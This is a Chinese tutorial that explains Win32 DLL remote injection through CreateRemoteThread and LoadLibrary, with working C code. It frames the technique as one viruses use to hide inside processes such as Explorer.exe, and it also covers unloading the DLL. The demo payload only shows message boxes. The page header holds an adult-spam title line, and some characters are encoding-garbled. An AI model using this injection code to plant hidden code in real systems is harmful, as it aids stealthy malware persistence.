压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

DLL的遠(yuǎn)程注入技術(shù)簡(jiǎn)介

  DLL的遠(yuǎn)程注入技術(shù)是目前Win32病毒廣泛使用的一種技術(shù)。使用這種技術(shù)的病毒體通常位于一個(gè)DLL中,在系統(tǒng)啟動(dòng)的時(shí)候,一個(gè)EXE程序會(huì)將這個(gè)DLL加載至某些系統(tǒng)進(jìn)程(如Explorer.exe)中運(yùn)行。 這樣一來,普通的進(jìn)程管理器就很難發(fā)現(xiàn)這種病毒了,而且即使發(fā)現(xiàn)了也很難清除,因?yàn)橹灰《炯纳倪M(jìn)程不終止運(yùn)行,那么這個(gè)DLL就不會(huì)在內(nèi)存中卸載,用戶也就無法在資源管理器中刪除這個(gè)DLL文件,真可謂一箭雙雕哉。

  記得2003年QQ尾巴病毒肆虐的時(shí)候,就已經(jīng)有些尾巴病毒的變種在使用這種技術(shù)了。到了2004年初,我曾經(jīng)嘗試著仿真了一個(gè)QQ尾巴病毒,但獨(dú)是跳過了DLL的遠(yuǎn)程加載技術(shù)。直到最近在學(xué)校論壇上看到了幾位朋友在探討這一技術(shù),便忍不住將這一塵封已久的技術(shù)從我的記憶中揀了出來,以滿足廣大的技術(shù)愛好者們。

  必備知識(shí)

  在閱讀本文之前,你需要了解以下幾個(gè)API函數(shù):

  ·OpenProcess – 用于打開要寄生的目標(biāo)進(jìn)程。

  ·VirtualAllocEx/VirtualFreeEx – 用于在目標(biāo)進(jìn)程中分配/釋放內(nèi)存空間。

  ·WriteProcessMemory – 用于在目標(biāo)進(jìn)程中寫入要加載的DLL名稱。

  ·CreateRemoteThread – 遠(yuǎn)程加載DLL的核心內(nèi)容,用于控制目標(biāo)進(jìn)程調(diào)用API函數(shù)。

  ·LoadLibrary – 目標(biāo)進(jìn)程通過調(diào)用此函數(shù)來加載病毒DLL。

  在此我只給出了簡(jiǎn)要的函數(shù)說明,關(guān)于函數(shù)的詳細(xì)功能和介紹請(qǐng)參閱MSDN。

  示例程序

  我將在以下的篇幅中用一個(gè)簡(jiǎn)單的示例Virus.exe來實(shí)現(xiàn)這一技術(shù)。這個(gè)示例的界面如下圖:

  首先運(yùn)行Target.exe,這個(gè)文件是一個(gè)用Win32 Application向?qū)傻?ldquo;Hello, World”程序,用來作為寄生的目標(biāo)進(jìn)程。

  然后在界面的編輯控件中輸入進(jìn)程的名稱“Target.exe”,單擊“注入DLL”按鈕,這時(shí)候Virus.exe就會(huì)將當(dāng)前目錄下的DLL.dll注入至Target.exe進(jìn)程中。

  在注入DLL.dll之后,你也可以單擊“卸載DLL”來將已經(jīng)注入的DLL卸載。

  模擬的病毒體DLL.dll

  這是一個(gè)簡(jiǎn)單的Win32 DLL程序,它僅由一個(gè)入口函數(shù)DllMain組成:

  BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )

  {

  switch ( fdwReason )

  {

  case DLL_PROCESS_ATTACH:

  {

  MessageBox( NULL, _T("DLL已進(jìn)入目標(biāo)進(jìn)程。"), _T("信息"), MB_ICONINFORMATION );

  }

  break;

  case DLL_PROCESS_DETACH:

  {

  MessageBox( NULL, _T("DLL已從目標(biāo)進(jìn)程卸載。"), _T("信息"), MB_ICONINFORMATION );

  }

  break;

  }

  return TRUE;

  }

  如你所見,這里我在DLL被加載和卸載的時(shí)候調(diào)用了MessageBox,這是用來顯示我的遠(yuǎn)程注入/卸載工作是否成功完成。而對(duì)于一個(gè)真正的病毒體來說,它往往就是處理DLL_PROCESS_ATTACH事件,在其中加入了啟動(dòng)病毒代碼的部分:

  case DLL_PROCESS_ATTACH:

  {

  StartVirus();

  }

  break;

  注入!

  現(xiàn)在要開始我們的注入工作了。首先,我們需要找到目標(biāo)進(jìn)程:

  DWORD FindTarget( LPCTSTR lpszProcess )

  {

  DWORD dwRet = 0;

  HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );

  PROCESSENTRY32 pe32;

  pe32.dwSize = sizeof( PROCESSENTRY32 );

  Process32First( hSnapshot, &pe32 );

  do

  {

  if ( lstrcmpi( pe32.szExeFile, lpszProcess ) == 0 )

  {

  dwRet = pe32.th32ProcessID;

  break;

  }

  } while ( Process32Next( hSnapshot, &pe32 ) );

  CloseHandle( hSnapshot );

  return dwRet;

  }

  這里我使用了Tool Help函數(shù)庫(kù),當(dāng)然如果你是NT系統(tǒng)的話,也可以選擇PSAPI函數(shù)庫(kù)。這段代碼的目的就是通過給定的進(jìn)程名稱來在當(dāng)前系統(tǒng)中查找相應(yīng)的進(jìn)程,并返回該進(jìn)程的ID。得到進(jìn)程ID后,就可以調(diào)用OpenProcess來打開目標(biāo)進(jìn)程了:

  // 打開目標(biāo)進(jìn)程

  HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessID );

  現(xiàn)在有必要說一下OpenProcess第一個(gè)參數(shù)所指定的三種權(quán)限。在Win32系統(tǒng)下,每個(gè)進(jìn)程都擁有自己的4G虛擬地址空間,各個(gè)進(jìn)程之間都相互獨(dú)立。如果一個(gè)進(jìn)程需要完成跨進(jìn)程的工作的話,那么它必須擁有目標(biāo)進(jìn)程的相應(yīng)操作權(quán)限。在這里,PROCESS_CREATE_THREAD表示我可以通過返回的進(jìn)程句柄在該進(jìn)程中創(chuàng)建新的線程,也就是調(diào)用CreateRemoteThread的權(quán)限;同理,PROCESS_VM_OPERATION則表示在該進(jìn)程中分配/釋放內(nèi)存的權(quán)限,也就是調(diào)用VirtualAllocEx/VirtualFreeEx的權(quán)限;PROCESS_VM_WRITE表示可以向該進(jìn)程的地址空間寫入數(shù)據(jù),也就是調(diào)用WriteProcessMemory的權(quán)限。

  至此目標(biāo)進(jìn)程已經(jīng)打開,那么我們?cè)撊绾蝸韺LL注入其中呢?在這之前,我請(qǐng)你看一行代碼,是如何在本進(jìn)程內(nèi)顯式加載DLL的:

  HMODULE hDll = LoadLibrary( "DLL.dll" );

  那么,如果能控制目標(biāo)進(jìn)程調(diào)用LoadLibrary,不就可以完成DLL的遠(yuǎn)程注入了么?的確是這樣,我們可以通過CreateRemoteThread將LoadLibrary作為目標(biāo)進(jìn)程的一個(gè)線程來啟動(dòng),這樣就可以完成“控制目標(biāo)進(jìn)程調(diào)用LoadLibrary”的工作了。到這里,也許你會(huì)想當(dāng)然地寫下類似這樣的代碼:

  DWORD dwID;

  LPVOID pFunc = LoadLibraryA;

  HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)"DLL.dll", 0, &dwID );

  不過結(jié)果肯定會(huì)讓你大失所望——注入DLL失??!

  那么現(xiàn)在讓我們來分析一下失敗的原因吧。我是前說過,在Win32系統(tǒng)下,每個(gè)進(jìn)程都擁有自己的4G虛擬地址空間,各個(gè)進(jìn)程之間都是相互獨(dú)立的。在這里,我們當(dāng)作參數(shù)傳入的字符串"DLL.dll"其實(shí)是一個(gè)數(shù)值,它表示這個(gè)字符串位于Virus.exe地址空間之中的地址,而這個(gè)地址在傳給Target.exe之后,它指向的東西就失去了有效性。舉個(gè)例子來說,譬如A、B兩棟大樓,我住在A樓的401;那么B樓的401住的是誰我當(dāng)然不能確定——也就是401這個(gè)門牌號(hào)在B樓失去了有效性,而且如果我想要入住B樓的話,我就必須請(qǐng)B樓的樓長(zhǎng)為我在B樓中安排新的住處(當(dāng)然這個(gè)新的住處是否401也就不一定了)。

  由此看來,我就需要做這么一系列略顯繁雜的手續(xù)——首先在Target.exe目標(biāo)進(jìn)程中分配一段內(nèi)存空間,然后向這段空間寫入我要加載的DLL名稱,最后再調(diào)用CreateRemoteThread。這段代碼就成了這樣:

  // 向目標(biāo)進(jìn)程地址空間寫入DLL名稱

  DWORD dwSize, dwWritten;

  dwSize = lstrlenA( lpszDll ) + 1;

  LPVOID lpBuf = VirtualAllocEx( hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE );

  if ( NULL == lpBuf )

  {

  CloseHandle( hProcess );

  // 失敗處理

  }

  if ( WriteProcessMemory( hProcess, lpBuf, (LPVOID)lpszDll, dwSize, &dwWritten ) )

  {

  // 要寫入字節(jié)數(shù)與實(shí)際寫入字節(jié)數(shù)不相等,仍屬失敗

  if ( dwWritten != dwSize )

  {

  VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );

  CloseHandle( hProcess );

  // 失敗處理

  }

  }

  else

  {

  CloseHandle( hProcess );

  // 失敗處理

  }

  // 使目標(biāo)進(jìn)程調(diào)用LoadLibrary,加載DLL

  DWORD dwID;

  LPVOID pFunc = LoadLibraryA;

  HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID );

  需要說的有兩點(diǎn),一是由于我要在目標(biāo)進(jìn)程中為ANSI字符串來分配內(nèi)存空間,所以這里凡是和目標(biāo)進(jìn)程相關(guān)的部分,都明確使用了后綴為“A”的API函數(shù)——當(dāng)然,如果要使用Unicode字符串的話,可以換作后綴是“W”的API;第二,在這里L(fēng)oadLibrary的指針我是取的本進(jìn)程的LoadLibraryA的地址,這是因?yàn)長(zhǎng)oadLibraryA/LoadLibraryW位于kernel32.dll之中,而Win32下每個(gè)應(yīng)用程序都會(huì)把kernel32.dll加載到進(jìn)程地址空間中一個(gè)固定的地址,所以這里的函數(shù)地址在Target.exe中也是有效的。

  在調(diào)用LoadLibrary完畢之后,我們就可以做收尾工作了:

  // 等待LoadLibrary加載完畢

  WaitForSingleObject( hThread, INFINITE );

  // 釋放目標(biāo)進(jìn)程中申請(qǐng)的空間

  VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );

  CloseHandle( hThread );

  CloseHandle( hProcess );

  在此解釋一下WaitForSingleObject一句。由于我們是通過CreateRemoteThread在目標(biāo)進(jìn)程中另外開辟了一個(gè)LoadLibrary的線程,所以我們必須等待這個(gè)線程運(yùn)行完畢才能夠釋放那段先前申請(qǐng)的內(nèi)存。

  好了,現(xiàn)在你可以嘗試著整理這些代碼并編譯運(yùn)行。運(yùn)行Target.exe,然后開啟一個(gè)有模塊查看功能的進(jìn)程查看工具(在這里我使用我的July)來查看Target.exe的模塊,你會(huì)發(fā)現(xiàn)在注入DLL之前,Target.exe中并沒有DLL.dll的存在:

  在調(diào)用了注入代碼之后,DLL.dll就位于Target.exe的模塊列表之中了:

  矛盾相生

  記得2004年初我將QQ尾巴病毒成功仿真后,有很多網(wǎng)友詢問我如何才能殺毒,不過我都沒有回答——因?yàn)楫?dāng)時(shí)我研究的重點(diǎn)并非病毒的寄生特性。這一寄生特性直到今天可以說我才仿真完畢,那么,我就將解毒的方法也一并公開吧。

  和DLL的注入過程類似,只不過在這里使用了兩個(gè)API:GetModuleHandle和FreeLibrary。出于篇幅考慮,我略去了與注入部分相似或相同的代碼:

  // 使目標(biāo)進(jìn)程調(diào)用GetModuleHandle,獲得DLL在目標(biāo)進(jìn)程中的句柄

  DWORD dwHandle, dwID;

  LPVOID pFunc = GetModuleHandleA;

  HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID );

  // 等待GetModuleHandle運(yùn)行完畢

  WaitForSingleObject( hThread, INFINITE );

  // 獲得GetModuleHandle的返回值

  GetExitCodeThread( hThread, &dwHandle );

  // 釋放目標(biāo)進(jìn)程中申請(qǐng)的空間

  VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );

  CloseHandle( hThread );

  // 使目標(biāo)進(jìn)程調(diào)用FreeLibrary,卸載DLL

  pFunc = FreeLibrary;

  hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwHandle, 0, &dwID );

  // 等待FreeLibrary卸載完畢

  WaitForSingleObject( hThread, INFINITE );

  CloseHandle( hThread );

  CloseHandle( hProcess );

  用這個(gè)方法可以卸載一個(gè)進(jìn)程中的DLL模塊,當(dāng)然包括那些非病毒體的DLL。所以,這段代碼還是謹(jǐn)慎使用為好。

  在完成卸載之后,如果沒有別的程序加載這個(gè)DLL,你就可以將它刪除了。

 

上一篇:安卓防火墻 PS DroidWall

下一篇:實(shí)現(xiàn)HOOK其他進(jìn)程的Messagebox